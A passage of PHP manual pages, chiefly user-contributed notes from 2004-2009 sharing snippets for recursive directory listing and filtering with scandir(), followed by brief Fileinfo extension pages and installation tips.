        $dir_array[ $d ] = is_dir($outerDir."/".$d) ? getDirectoryTree( $outerDir."/".$d, $filters ) : $dir_array[ $d ] = $d;
    return $dir_array;
}
?>
magicmind at netcabo dot pt 09-Jun-2009 05:20
Hello all,

I just added a extension filter to the getDirectoryTree function, so it can filter an extension for files in the folders/subfolders:

<?php
function getDirectoryTree( $outerDir , $x){
    $dirs = array_diff( scandir( $outerDir ), Array( ".", ".." ) );
    $dir_array = Array();
    foreach( $dirs as $d ){
        if( is_dir($outerDir."/".$d)  ){
            $dir_array[ $d ] = getDirectoryTree( $outerDir."/".$d , $x);
        }else{
         if (($x)?ereg($x.'$',$d):1)
            $dir_array[ $d ] = $d;
            }
    }
    return $dir_array;
}

$dirlist = getDirectoryTree('filmes','flv');
?>
phpdotnet at lavavortex dot com 01-May-2009 05:05
How a ninja may retrieve a list of files, files filtered by extension, or directories:

<?php
//NNNIIIinnnjaaa::
//array of files without directories... optionally filtered by extension
function file_list($d,$x){
       foreach(array_diff(scandir($d),array('.','..')) as $f)if(is_file($d.'/'.$f)&&(($x)?ereg($x.'$',$f):1))$l[]=$f;
       return $l;
}

//NNNIIIinnnjaaa::
//array of directories
function dir_list($d){
       foreach(array_diff(scandir($d),array('.','..')) as $f)if(is_dir($d.'/'.$f))$l[]=$f;
       return $l;
}

/********************************************************************\
                    PRETTY PRETTY LIGHTS (DOCUMENTATION)
\********************************************************************/

/********************************************************************
Overloaded PHP file listing function:
array file_list ( string $directory [, string $file_extension] )

$directory
  path without backslash, e.g. "/home/public_html/blarg"

$file_extention
  optionally filter specific filename extentions, e.g. ".jpg"

>>>>>>>>>>>>>>>>>>>>>>>>>>>>> TRANSLATION <<<<<<<<<<<<<<<<<<<<<<<<<<<<
file_list("/home");          //return list of files (no directories)
file_list("/home", ".jpg");  //return only .jpg file list
\********************************************************************/

//(note: one slash (/) below and you enable all your test functions, guess where ;-))
/********************************************************************\
// TEST FUNCTIONS... IF THESE WORK, THIS FUNCTION WORKS ON THIS PLATFORM
echo "<hr><b>File List:</b><br>";
$n = file_list(getcwd());
if($n) foreach($n as $f) echo "$f<br>";             //current files

echo "<hr><b>Files with extension .php:</b><br>";
$n = file_list(getcwd(),".php");
if($n) foreach($n as $f) echo "$f<br>";             //files with .php extensions

echo "<hr><b>Directories:</b><br>";
$d = dir_list(getcwd());
if($d) foreach($d as $f) echo "$f<br>";             //directories
/********************************************************************/

/************\
RUNTIME NOTES:
file_list($arg1); // php issues a warning that there is no second parameter, but we know that, izz ok
\************/

/*******************************\
TESTED AND WORKING ON 2009.04.30:
OS:     Linux 2.6.9-78.0.17.ELsmp
APACHE: 2.2.9
PHP:    5.2.5
\*******************************/
?>
kyperkins at gmail dot com 04-Feb-2009 03:11
Here's a simple little scandir() function that can pick a random photo (jpg only so far) and dislpay it. This also goes through an exclusion list and doesn't store anything you don't want to display. Use as you wish

<?php
        $dir=scandir("photos");
        $exclude=array("photos/.","photos/..","photos/ex");
        $photos=array();
        for ($x=0; $x<count($dir); $x++){
            $dir[$x]="photos/".$dir[$x];
            if (is_dir($dir[$x]) && !in_array($dir[$x], $exclude)){
                $thisfolder=scandir($dir[$x]);
                for ($f=0; $f<count($thisfolder); $f++)
                if (strpos(strtolower($thisfolder[$f]), ".jpg"))
                    $photos[]=$dir[$x]."/".$thisfolder[$f];
            }
        }
        $rand=rand(0, count($photos));
        echo "<div style='text-align: center;'>";
        echo "<img src='".$photos[$rand]."' alt='' style='width: 80%'/>";
        echo "</div>";
        ?>
Dustin 05-Jan-2009 03:37
If I'm remembering my CS classes right... this would be the 'bare bones' recursive method to extract directories and files...

<?php
function getDirectoryTree( $outerDir ){
    $dirs = array_diff( scandir( $outerDir ), Array( ".", ".." ) );
    $dir_array = Array();
    foreach( $dirs as $d ){
        if( is_dir($outerDir."/".$d) ) $dir_array[ $d ] = getDirectoryTree( $outerDir."/".$d );
        else $dir_array[ $d ] = $d;
    }
    return $dir_array;
}
?>
admin at utahfishinginfo dot com 19-Dec-2008 03:47
Here is a function that parses your website's directory tree, similar to the scanDirectories function provided by fatpratmatt.  However, this allows you to filter out all files except for those with specific extensions, in addition to allowing you to ignore entire directories, and also has a list of specific files to ignore.  One last addition is that it allows you to use a regular expression to ignore another set of files.

I use this to walk the directory structure of my website, and to generate a sitemap.xml for Google sitemaps to index my site.  This allows me to skip dev, data, library, etc. folders, and files that are not front end files.

The way it's written means you don't need to worry about excluding specific files at all unless they have the extension you are looking for (i.e. html or php files).

Enjoy.

<?php
  function get_files($root_dir, $all_data=array())
  {
    // only include files with these extensions
    $allow_extensions = array("php", "html");
    // make any specific files you wish to be excluded
    $ignore_files = array("gdform.php","fishheader.php","fishfooter.php",
      "sitelinks.php","google204accd1c3ac0501.html","sitemapxml.php",
      "rotate.php", "fishstockingreport2.php", "repcentral.php", "repne.php",
      "repnorth.php","reppowell.php","repse.php","repsouth.php","repse.php",
      "stockreplib.php","iestyles.php");
    $ignore_regex = '/^_/';
    // skip these directories
    $ignore_dirs = array(".", "..", "images", "dev", "lib", "data", "osh", "fiq", "google",
      "stats", "_db_backups", "maps", "php_uploads", "test");

    // run through content of root directory
    $dir_content = scandir($root_dir);
    foreach($dir_content as $key => $content)
    {
      $path = $root_dir.'/'.$content;
      if(is_file($path) && is_readable($path))
      {
        // skip ignored files
        if(!in_array($content, $ignore_files))
        {
          if (preg_match($ignore_regex,$content) == 0)
          {
            $content_chunks = explode(".",$content);
            $ext = $content_chunks[count($content_chunks) - 1];
            // only include files with desired extensions
            if (in_array($ext, $allow_extensions))
            {
                // save file name with path
                $all_data[] = $path;
            }
          }
        }
      }
      // if content is a directory and readable, add path and name
      elseif(is_dir($path) && is_readable($path))
      {
        // skip any ignored dirs
        if(!in_array($content, $ignore_dirs))
        {
          // recursive callback to open new directory
          $all_data = get_files($path, $all_data);
        }
      }
    } // end foreach
    return $all_data;
  } // end get_files()

?>
dsiembab at fullchannel dot net 08-Dec-2008 11:29
Back in the saddle of scandir I wrote this function for a function that I needed to seperate directories from files. Since I am still learning from my last example way below I would figure I would add it so it can be criticized.
<?php
function dirlist($dir, $bool = "dirs"){
   $truedir = $dir;
   $dir = scandir($dir);
   if($bool == "files"){ // dynamic function based on second pram
      $direct = 'is_dir';
   }elseif($bool == "dirs"){
      $direct = 'is_file';
   }
   foreach($dir as $k => $v){
      if(($direct($truedir.$dir[$k])) || $dir[$k] == '.' || $dir[$k] == '..' ){
         unset($dir[$k]);
      }
   }
   $dir = array_values($dir);
   return $dir;
}
?>
<?php
print_r(dirlist("../"));  //confirm array of subdirectories

print_r(dirlist("../", "files") // confirm list on files in the directory
?>
webmaster at asylum-et dot com 23-Jul-2008 12:50
<?php
/**
 * outputs all files and directories
 * recursively starting with the given
 * $base path. This function is a combination
 * of some of the other snips on the php.net site.
 * All are good but lacked one thing or another
 * that I needed like .htaccess
 * files get excluded with the one that checks to
 * see if the first character is a . and omits
 * that.
 *
 * @example rscandir(dirname(__FILE__).'/'));
 * @param string $base
 * @param array $omit
 * @param array $data
 * @return array
 */
function rscandir($base='', &$data=array()) {

  $array = array_diff(scandir($base), array('.', '..')); # remove ' and .. from the array */

  foreach($array as $value) : /* loop through the array at the level of the supplied $base */

    if (is_dir($base.$value)) : /* if this is a directory */
      $data[] = $base.$value.'/'; /* add it to the $data array */
      $data = rscandir($base.$value.'/', $data); /* then make a recursive call with the
      current $value as the $base supplying the $data array to carry into the recursion */

    elseif (is_file($base.$value)) : /* else if the current $value is a file */
      $data[] = $base.$value; /* just add the current $value to the $data array */

    endif;

  endforeach;

  return $data; // return the $data array

}

echo '<pre>'; var_export(rscandir(dirname(__FILE__).'/')); echo '</pre>';
/*
Output:
array (
  0 => '/path/to/web/.htaccess',
  1 => '/path/to/web/foo/',
  2 => '/path/to/web/foo/file.txt'
)
*/
?>
asamir at asamir dot net 05-Mar-2008 04:21
This is a modification of scanDirectories function that generates a list of all files in the chosen directory and all subdirectories of specific extentions $allowext

<?php
function scanDirectories($rootDir, $allowext, $allData=array()) {
    $dirContent = scandir($rootDir);
    foreach($dirContent as $key => $content) {
        $path = $rootDir.'/'.$content;
        $ext = substr($content, strrpos($content, '.') + 1);

        if(in_array($ext, $allowext)) {
            if(is_file($path) && is_readable($path)) {
                $allData[] = $path;
            }elseif(is_dir($path) && is_readable($path)) {
                // recursive callback to open new directory
                $allData = scanDirectories($path, $allData);
            }
        }
    }
    return $allData;
}

$rootDir = "www";
$allowext = array("zip","rar","html");
$files_array = scanDirectories($rootDir,$allowext);
print_r($files_array);
?>
SlowWalkere at gmail dot com 15-Feb-2008 04:22
Just noticed a minor difference between scandir and readdir.

When opening a directory and using readdir(), each file appears to be accessed in the process.  This resets the "Last Accessed" time that you would get with fileatime().

With scandir(), the list is created and none of the files are accessed.  Therefore the access times remain unchanged.

I encountered this while writing a script to scan a directory and delete any file that hadn't been accessed in x time.  Kind of defeated the purpose when the directory listing accessed every file...
fatpratmatt dot at dot gmail dot com 27-Dec-2007 04:28
This function generates a list of all files in the chosen directory and all subdirectories, throws them into a NON-multidimentional array and returns them.

Most of the recursive functions on this page only return a multi-dimensional array.

This is actually a modification of some one else's function (thanks mail at bartrail dot de ;])

<?php
function scanDirectories($rootDir, $allData=array()) {
    // set filenames invisible if you want
    $invisibleFileNames = array(".", "..", ".htaccess", ".htpasswd");
    // run through content of root directory
    $dirContent = scandir($rootDir);
    foreach($dirContent as $key => $content) {
        // filter all files not accessible
        $path = $rootDir.'/'.$content;
        if(!in_array($content, $invisibleFileNames)) {
            // if content is file & readable, add to array
            if(is_file($path) && is_readable($path)) {
                // save file name with path
                $allData[] = $path;
            // if content is a directory and readable, add path and name
            }elseif(is_dir($path) && is_readable($path)) {
                // recursive callback to open new directory
                $allData = scanDirectories($path, $allData);
            }
        }
    }
    return $allData;
}
?>

Example output:

print_r(scanDirectories("www"));
---
Array
(
    [0] => www/index.php
    [1] => www/admin.php
    [3] => www/css/css.css
    [4] => www/articles/2007/article1.txt
    [4] => www/articles/2006/article1.txt
    [8] => www/img/img1.png
)
mail at bartrail dot de 21-Nov-2007 01:39
Here's another little function to scan a directory and it's file contents width scandir() including a little file filter..
<?php
/**
 * Recursive function to scan a directory with * scandir() *
 *
 * @param String $rootDir
 * @return multi dimensional array
 */
function scanDirectories($rootDir) {
    // set filenames invisible if you want
    $invisibleFileNames = array(".", "..", ".htaccess", ".htpasswd");
    // run through content of root directory
    $dirContent = scandir($rootDir);
    $allData = array();
    // file counter gets incremented for a better
    $fileCounter = 0;
    foreach($dirContent as $key => $content) {
        // filter all files not accessible
        $path = $rootDir.'/'.$content;
        if(!in_array($content, $invisibleFileNames)) {
            // if content is file & readable, add to array
            if(is_file($path) && is_readable($path)) {
                $tmpPathArray = explode("/",$path);
                // saving filename
                $allData[$fileCounter]['fileName'] = end($tmpPathArray);
                // saving while path (for better access)
                $allData[$fileCounter]['filePath'] = $path;
                // get file extension
                $filePartsTmp = explode(".", end($tmpPathArray));
                $allData[$fileCounter]['fileExt'] = end($filePartsTmp);
                // get file date
                $allData[$fileCounter]['fileDate'] = filectime($path);
                // get filesize in byte
                $allData[$fileCounter]['fileSize'] = filesize($path);
                $fileCounter++;
            // if content is a directory and readable, add path and name
            }elseif(is_dir($path) && is_readable($path)) {
                $dirNameArray = explode('/',$path);
                $allData[$path]['dirPath'] = $path;
                $allData[$path]['dirName'] = end($dirNameArray);
                // recursive callback to open new directory
                $allData[$path]['content'] = scanDirectories($path);
            }
        }
    }
    return $allData;
}
?>
cHH 05-Nov-2007 09:46
Since scandir() returns and array, here is a more concise method of dealing with the '.' and '..' problem when listing directories:

<?php
$target = '/';
$weeds = array('.', '..');
$directories = array_diff(scandir($target), $weeds);

foreach($directories as $value)
{
   if(is_dir($target.$value))
   {
      echo $value.'<br />';
   }
}
?>
deryckchan at gmail dot com 30-Aug-2007 07:44
Bear in mind that sorting is *always* performed when scandir() is called. String sorting takes O(|s|n log n) runtime, and this adds to the burden of the server's memory and processing power.

Therefore, whenever the alphabetical order of the directory content is unimportant, especially if sorting is to be performed by another order, or the natural order of the files on the filesystem is to be utilized, the use of opendir(), readdir() and closedir() combined is always preferred to scandir().
dsiembab at fullchannel dot net 28-Jun-2007 12:51
Saw banzai monkeys code and tweaked it a little. I don't have scandir. So I had to play with the suggested use for php4.
Pretty new to PHP so beer with me. This will show your current directory as a link called "Back" and will list all of your files in a menu. I wanted this because I have a lot of static pages and needed a menu that would auto update every time I added a file.

<?php
$current=getcwd();
$directory=basename($current);
$direct=str_replace('-',' ',$directory);
$directoryuppercasewords=ucwords($direct);

/*this first section above will  get your current folder or directory and since I have a "-" between the words of my file I have to strip them to look good if I want to show the current folder or directory in the title of the first link
*/
$dir = '.';
$dh  = opendir($dir);
while (false !== ($filename = readdir($dh))) {
    $files[] =$filename;
}
$t=array_slice($files,2);
$f=array_search('index.php',$t);
/*this code above with the variable $t gets rid of the '.' and the '..' parent and ancestor files. And the variable $f finds the index file and with the code below 'unset' let you use $f as the key to get rid of that file.
*/
unset($t[$f]);
  print('<ul align="left">');
    print('<li><a href="." title="'.$directoryuppercasewords.'">Back</a></br></li>');
  foreach($t as $key => $value){
    $phpkill=str_replace('.php', '', $value);
    $htmlkill=str_replace('.html', '', $phpkill);
    $dashkill=str_replace('-',' ',$htmlkill);
    $uppercasewords=ucwords($dashkill);

    print('<li><a href="' . $dir . '/' . $value . '" title="'.$uppercasewords.'>' . $uppercasewords . "</a></br></li>");
  }
  print('</ul>');
     closedir($dh);
?>
I basically made all the variables so they could explain themselves, Regular expression is not my strong point right now, just becoming familiar with php functions is more of a priority, I hope this is usefull to someone.
aryel at redtwilight dot com dot br 07-Feb-2007 11:07
This function is similar to scandir, but works in PHP4. It uses readdir to get directory info.

<?php
function php4_scandir($dir,$listDirectories=false, $skipDots=true) {
    $dirArray = array();
    if ($handle = opendir($dir)) {
        while (false !== ($file = readdir($handle))) {
            if (($file != "." && $file != "..") || $skipDots == true) {
                if($listDirectories == false) { if(is_dir($file)) { continue; } }
                array_push($dirArray,basename($file));
            }
        }
        closedir($handle);
    }
    return $dirArray;
}
?>
beingmrkenny at gmail dot com 13-Aug-2006 11:41
I wrote this function to read a folder and place all the folders and sub folders it contains into an array.

<?php

// Initialise empty array, otherwise an error occurs
$folders = array();

function recursive_subfolders($folders) {

    // Set path here
    $path = '/path/to/folder';

    // Create initial "Folders" array
    if ($dir = opendir($path)) {
        $j = 0;
        while (($file = readdir($dir)) !== false) {
            if ($file != '.' && $file != '..' && is_dir($path.$file)) {
                $j++;
                $folders[$j] = $path . $file;
            }
        }
    }

    closedir($dir);

    // Then check each folder in that array for subfolders and add the subfolders to the "Folders" array.
    $j = count($folders);
    foreach ($folders as $folder) {
        if ($dir = opendir($folder)) {
            while (($file = readdir($dir)) !== false) {
                $pathto = $folder. '/' . $file;
                if ($file != '.' && $file != '..' && is_dir($pathto) && !in_array($pathto, $folders)) {
                    $j++;
                    $folders[$j] = $pathto;
                    $folders = recursive_subfolders($folders);
                }
            }
        }
        closedir($dir);
    }

    sort($folders);
    return $folders;
}

$folders = recursive_subfolders($folders);

?>

$folders now contains an array with the full paths to each subfolder. E.g.:

Array
(
    [0] => /path/to/folder/dir1
    [1] => /path/to/folder/dir1/subdir
    [2] => /path/to/folder/dir1/subdir/subsubdir
    [3] => /path/to/dolfer/dir2
)

This function has only been tested on Linux.
www.mdsjack.bo.it 07-Apr-2006 11:54
I would like to share a couple of functions I've made to get an Array of files of a certain extension inside a Directory.

<?php

// Firstly, a PHP 5 emulation

function php4_scandir($dir, $sort = 0)
{
    if (PHP_VERSION >= '5') return scandir($dir, $sort);

    $dirmap = array();

    if(!is_dir($dir))
    {
        trigger_error("lib::scandir($dir): failed to open dir: Invalid argument", E_USER_WARNING);
        return false;
    }

    $dir = opendir($dir);

    while (false !== ($file = readdir($dir)))
        $dirmap[] = $file;

    closedir($dir);

    ($sort == 1) ? rsort($dirmap) : sort($dirmap);

    return $dirmap;
}

/*
Then, this one converts directory files into array items.
It also can filter by file extension.
*/

function dir2arr($dir, $ext = null)
{
    $arr = array();

    if(PHP_VERSION >= '4.3.0')
    {
        # PHP 4.3.0 code
        if ($dir = glob("$dir*".(!$ext ? '.*' : '{'.$ext.', '.strtoupper($ext).'}'), GLOB_NOSORT + GLOB_BRACE))
            foreach ($dir as $file)
                $arr[] = preg_replace("#(?:.+\/{1})*([^\.]+)\.(.+)#i", '$1', $file);
    }
    else
    {
        # PHP 4.2.x code
        $dir = php4_scandir($dir); // See code snippet above
        if(!$ext) $ext = '\.[a-z]+';
        $pattern = "#([^\.|\.\.$]+)$ext#i";
        foreach ($dir as $file)
            if (preg_match($pattern, $file, $filename))
                $arr[] = $filename[1];
    }

    return (empty($arr) ? false : $arr);
}

?>
Yassin Ezbakhe <yassin88 at gmail dot com> 31-Aug-2005 04:18
<?php
/**********************************************
 *
 *   PURPOSE: List files inside the specified path and its
 *   subdirectories
 *
 *   array scandir_recursive (string dir)
 *
 *   This function will return a multidimensional array
 *   that represents main folder's tree structure.
 *   Each folder has its own named array
 *
 **********************************************/

function scandir_recursive($directory)
{
    $folderContents = array();
    $directory = realpath($directory).DIRECTORY_SEPARATOR;

    foreach (scandir($directory) as $folderItem)
    {
        if ($folderItem != "." AND $folderItem != "..")
        {
            if (is_dir($directory.$folderItem.DIRECTORY_SEPARATOR))
            {
                $folderContents[$folderItem] = scandir_recursive( $directory.$folderItem."\\");
            }
            else
            {
                $folderContents[] = $folderItem;
            }
        }
    }

    return $folderContents;
}
?>
trevi55 at gmail dot com 08-Jul-2005 05:38
For non php5-users here you are this function...
It isn't set the wrapper, but I think it's enough :P.

If no pararameter is set, the scandir() function will scan the local file directory.

Set the optional parameter "$sort" to 1 to reverse the alphabetical-sorting.

<?php
function scandir($dir = './', $sort = 0)
{

    $dir_open = @ opendir($dir);

    if (! $dir_open)
        return false;

    while (($dir_content = readdir($dir_open)) !== false)
            $files[] = $dir_content;

    if ($sort == 1)
        rsort($files, SORT_STRING);
    else
        sort($files, SORT_STRING);

    return $files;
}
?>
progrium+php at gmail dot com 30-Jun-2005 04:54
I made this to represent a directory tree in an array that uses the file or directory names as keys and full paths as the value for files. Directories are nested arrays.

<?php
function generatePathTree($rootPath) {
    $pathStack = array($rootPath);
    $contentsRoot = array();
    $contents = &$contentsRoot;
    while ($path = array_pop($pathStack)) {
       $contents[basename($path)] = array();
       $contents = &$contents[basename($path)];
       foreach (scandir($path) as $filename) {
           if ('.' != substr($filename, 0, 1)) {
               $newPath = $path.'/'.$filename;
               if (is_dir($newPath)) {
                   array_push($pathStack, $newPath);
                   $contents[basename($newPath)] = array();
               } else {
                   $contents[basename($filename)] = $newPath;
               }
           }
       }
    }
    return $contentsRoot[basename($rootPath)];
}
?>

The function will return something like this:

Array
(
    [index.php] => /usr/local/www/index.php
    [js] => Array
        (
            [async.js] => /usr/local/www/js/async.js
            [dom.js] => /usr/local/www/js/dom.js
            [effects.js] => /usr/local/www/js/effects.js
            [prototype.js] => /usr/local/www/js/prototype.js
        )

    [logo.png] => /usr/local/www/logo.png
    [server.php] => /usr/local/www/server.php
    [test.js] => /usr/local/www/test.js
)
Pawel Dlugosz 11-May-2005 11:18
For directory containing files like (for example) -.jpg the results of scandir are a little "weird" ;)

<?php

   $dir = '/somedir';
   $files = scandir($dir);
   print_r($files);
?>

Array
(
    [0] => -.jpg
    [1] => .
    [2] => ..
    [3] => foo.txt
    [4] => somedir
)

Beware - sorting is in ASCII order :)
wwwebdesigner at web doott de 12-Apr-2005 12:20
using sort of scandir() that returns the content sorted by Filemodificationtime.

<?php
function scandir_by_mtime($folder) {
  $dircontent = scandir($folder);
  $arr = array();
  foreach($dircontent as $filename) {
    if ($filename != '.' && $filename != '..') {
      if (filemtime($folder.$filename) === false) return false;
      $dat = date("YmdHis", filemtime($folder.$filename));
      $arr[$dat] = $filename;
    }
  }
  if (!ksort($arr)) return false;
  return $arr;
}
?>

returns false if an error occured
otherwise it returns an array like this.
Array
(
    [20040813231320] => DSC00023.JPG
    [20040813231456] => DSC00024.JPG
    [20040814003728] => MOV00055.MPG
    [20040814003804] => DSC00056.JPG
    [20040814003946] => DSC00057.JPG
    [20040814004030] => DSC00058.JPG
    [20040814014516] => DSC00083.JPG
    [20050401161718] => album.txt
)
brodseba at brodseba dot com 24-Mar-2005 08:53
This function create a HTML view of a directory.  It also look for subdirectory.  I use some icon to differ from folders or files.  It's also possible to get specific icon for specific file type.

Each entrey is clickable so you can use it to populate a form field.

Have fun!

<?php
function ls_recursive2($dir)
{
  if (is_dir($dir))
  {
    $files = scandir($dir);

    foreach ($files as $file)
    {
      $currentfile = $dir . "/" . $file;

      $last_dir = "";
      // Calculate they identation.
      $count = substr_count($currentfile, '/');
      $minus_count = substr_count($_SERVER['DOCUMENT_ROOT'], '/');
      $count -= ($minus_count + 2);

      for($p = 0; $p < $count; $p++)
      {
        $last_dir .= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
      }

      if (is_dir($currentfile))
      {
        if ($file != '.' && $file != '..')
      {
        $last_dir .= "<img src='images/folder.gif' alt='' align='middle' width='16' height='16' border='0'>&nbsp;<a href=\"javascript:go('" . $currentfile . "')\">". substr($currentfile, strrpos($currentfile, '/')) . "</a><br>";
          echo $last_dir;
          ls_recursive2($currentfile);
        }
      }
      else
      {
        $last_dir .= "<img src='images/file.gif' alt='' align='middle' width='16' height='16' border='0'>&nbsp;<a href=\"javascript:go('" . $currentfile . "')\">". substr($currentfile, strrpos($currentfile, '/')) . "</a><br>";
        echo $last_dir;
      }
    }
  }
}
?>
csaba at alum dot mit dot edu 04-Mar-2005 03:19
Scandir on steroids:
For when you want to filter your file list, or only want to list so many levels of subdirectories...

<?php
function dirList($path="", $types=2, $levels=1, $aFilter=array()) {
//  returns an array of the specified files/directories
//  start search in $path (defaults to current working directory)
//  return $types:  2 => files; 1 => directories; 3 => both;
//  $levels: 1 => look in the $path only; 2 => $path and all children;
//          3 => $path, children, grandchildren; 0 => $path and all subdirectories;
//          less than 0 => complement of -$levels, OR everything starting -$levels down
//                e.g. -1 => everthing except $path; -2 => all descendants except $path + children
//  Remaining argument(s) is(are) a filter array(list) of regular expressions which operate on the full path.
//    First character (before the '/' of the regExp) '-' => NOT.
//    First character (after a possible '-') 'd' => apply to directory name
//    The filters may be passed in as an array of strings or as a list of strings
//  Note that output directories are prefixed with a '*' (done in the line above the return)
   $dS = DIRECTORY_SEPARATOR;
   if (!($path = realpath($path?$path:getcwd()))) return array();    // bad path
   // next line rids terminating \ on drives (works since c: == c:\ on PHP).  OK in *nix?
   if (substr($path,-1)==$dS) $path = substr($path,0,-1);
   if (is_null($types)) $types = 2;
   if (is_null($levels)) $levels = 1;
   if (is_null($aFilter)) $aFilter=array();

   // last argument may be passed as a list or as an array
   $aFilter = array_slice(func_get_args(),3);
   if ($aFilter && gettype($aFilter[0])=="array") $aFilter=$aFilter[0];
   $adFilter = array();
   // now move directory filters to separate array:
   foreach ($aFilter as $i=>$filter)                  // for each directory filter...
     if (($pos=stripos(" $filter","d")) && $pos<3) {  // next line eliminates the 'd'
         $adFilter[] = substr($filter,0,$pos-1) . substr($filter,$pos);
         unset($aFilter[$i]); }
   $aFilter = array_merge($aFilter);    // reset indeces

   $aRes = array();                    // results, $aAcc is an Accumulator
   $aDir = array($path);    // dirs to check
   for ($i=$levels>0?$levels++:-1;($aAcc=array())||$i--&&$aDir;$aDir=$aAcc)
     while ($dir = array_shift($aDir))
         foreach (scandir ($dir) as $fileOrDir)
           if ($fileOrDir!="." && $fileOrDir!="..") {
               if ($dirP = is_dir ($rp="$dir$dS$fileOrDir"))
                 if (pathFilter("$rp$dS", $adFilter))
                     $aAcc[] = $rp;
               if ($i<$levels-1 && ($types & (2-$dirP)))
                 if (pathFilter($rp, $aFilter))
                     $aRes[] = ($dirP?"*":"") . $rp; }
   return $aRes;
}
?>

example usage:
<?php
define ("_", NULL);
// this will find all non .jpg, non .Thumbs.db files under c:\Photo
$aFiles = dirList('c:\Photo', _, 0, '-/\.jpg$/i', '-/\\\\Thumbs.db$/');
$aFiles = dirList();    // find the files in the current directory
// next lines will find .jpg files in non Photo(s) subdirectories, excluding Temporary Internet Files
set_time_limit(60);        // iterating from the top level can take a while
$aFiles = dirList("c:\\", _, 0, '/\.jpg$/i', '-d/\\\\Photos?$/i', '-d/Temporary Internet/i');
?>

Note that this function will consume a lot of time if scanning large
directory structures (which is the reason for the '[-]d/.../' filters).

Csaba Gabor from Vienna
csaba at alum dot mit dot edu 04-Mar-2005 04:52
A nice way to filter the files/directories you get back from scandir:

<?php
function pathFilter ($path, $aFilter) {
   // returns true iff $path survives the tests from $aFilter
   // $aFilter is an array of regular expressions: [-]/regExp/modifiers
   // if there is a leading '-' it means exclude $path upon a match (a NOT test)
   // If the first expression has a leading '-', $path is in, unless it gets excluded.
   // Otherwise, $path is out, unless it gets included via the filter tests.
   // The tests are applied in succession.
   // A NOT test is applied only if $path is currently (within the tests) included
   // Other tests are applied only if $path is currently excluded.  Thus,
   // array("/a/", "-/b/", "/c/") => passes if $path has a c or if $path has an a but no b
   // array("/a/", "/c/", "-/b/") => passes if $path has an a or c, but no b
   // array("-/b/", "/a/", "/c/") => passes if $path has no b, or if $path has an a or c
   if (!$aFilter) return true;           // automatic inclusion (pass) if no filters
   foreach ($aFilter as $filter) break;  // we don't know how it's indexed
   $in = $filter[0]=="-";                // initial in/exclusion based on first filter
   foreach ($aFilter as $filter)         // walk the filters
      if ($in==$not=($filter[0]=="-"))   //     testing only when necessary
         $in ^= preg_match(substr($filter,$not),$path);    // flip in/exclusion upon a match
   return $in;
}
?>

Csaba Gabor from Vienna
virtual at NOSPAM dot lapinbleu dot ch 09-Feb-2005 05:58
Since I needed to scan dirs and subdirs and wanted to have files and dirs not in the same var without having to explode it, I did this little function:

<?php

function scan_Dir($directory=NULL)
{
$temp = "";
if ($directory==NULL)
{
        $directory = getcwd();
}
$handle = opendir($directory);
while (false !== ($filename = readdir($handle)))
{
        if (($filename!=".") AND ($filename!=".."))
        {
                if (is_dir($directory."/".$filename))
                {
                        $old_directory = $directory;
                        $directory .= "/".$filename;
                        $temp = scan_Dir($directory);

                        $cpt = 0;
                        while ($cpt<count($temp["filename"]))
                        {
                                $arrfiles["path"][]      = $directory."/".$temp["filename"][$cpt];
                                $arrfiles["directory"][] = $directory;
                                $arrfiles["filename"][]  = $temp["filename"][$cpt];
                                $cpt++;
                        }
                        $directory = $old_directory;
                }
                else
                {
                        $arrfiles["path"][]      = $directory."/".$filename;
                        $arrfiles["directory"][] = $directory;
                        $arrfiles["filename"][]  = $filename;
                }
        }
}
return $arrfiles;
}
?>

This one seems to work properly and use multidimensional array.

To show your files, just use:
<?php

$dir2scan = "admin";
$yourvar = scan_Dir($dir2scan);

echo $yourvar["path"][0]."<br>"; //Complete path of the file with key 0 (dir + filename)

echo $yourvar["directory"][0]."<br>"; //Directory of the file with key 0

echo $yourvar["filename"][0]."<br>"; //Filename of the file with key 0

?>

Note that the parameter of the function is not necessary. If you don't give any, it will scan from the returned value of getcwd() function.
Stan P. van de Burgt 26-Oct-2004 09:05
scandir() with regexp matching on file name and sorting options based on stat().

<?php
function myscandir($dir, $exp, $how='name', $desc=0)
{
    $r = array();
    $dh = @opendir($dir);
    if ($dh) {
        while (($fname = readdir($dh)) !== false) {
            if (preg_match($exp, $fname)) {
                $stat = stat("$dir/$fname");
                $r[$fname] = ($how == 'name')? $fname: $stat[$how];
            }
        }
        closedir($dh);
        if ($desc) {
            arsort($r);
        }
        else {
            asort($r);
        }
    }
    return(array_keys($r));
}

$r = myscandir('./book/', '/^article[0-9]{4}\.txt$/i', 'ctime', 1);
print_r($r);
?>

files can be sorted on name and stat() attributes, ascending and descending:

name    file name
dev     device number
ino     inode number
mode    inode protection mode
nlink   number of links
uid     userid of owner
gid     groupid of owner
rdev    device type, if inode device *
size    size in bytes
atime   time of last access (Unix timestamp)
mtime   time of last modification (Unix timestamp)
ctime   time of last inode change (Unix timestamp)
blksize blocksize of filesystem IO *
blocks  number of blocks allocated
aidan at php dot net 20-May-2004 07:14
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
rewinddir
Fileinfo
Directory Functions


File Information

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Fileinfo Functions
    • finfo_buffer — Return information about a string buffer
    • finfo_close — Close fileinfo resource
    • finfo_file — Return information about a file
    • finfo_open — Create a new fileinfo resource
    • finfo_set_flags — Set libmagic configuration options
    • mime_content_type — Detect MIME Content-type for a file (deprecated)

User Contributed Notes

There are no user contributed notes for this page.
scandir
Introduction
File System Related Extensions


Introduction

The functions in this module try to guess the content type and encoding of a file by looking for certain magic byte sequences at specific positions within the file. While this is not a bullet proof approach the heuristics used do a very good job.

User Contributed Notes

There are no user contributed notes for this page.
Fileinfo
Installing/Configuring
Fileinfo


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

LaurentT 25-Mar-2009 02:51
For Unix (tested on Gentoo, php 5.2.5)

You can also use
/usr/local/php5/bin/pecl install fileinfo

path to the pecl binary may depend on your system.

When installation is done, to autoload the module, in php.ini :
extension=fileinfo.so

Note : check your extension dir if it fails.

You can check if the extension is correctly loaded with php -m
RickertB 17-Feb-2009 02:14
When installing fileinfo on php5.2 on ubuntu and having a problem with phpize,

you must also install the php5-dev package..
apt-get install php5-dev

Then verify if 'phpize' is in your PATH
Anonymous 09-Oct-2008 09:05
for gentoo you will need to emerge pecl-fileinfo
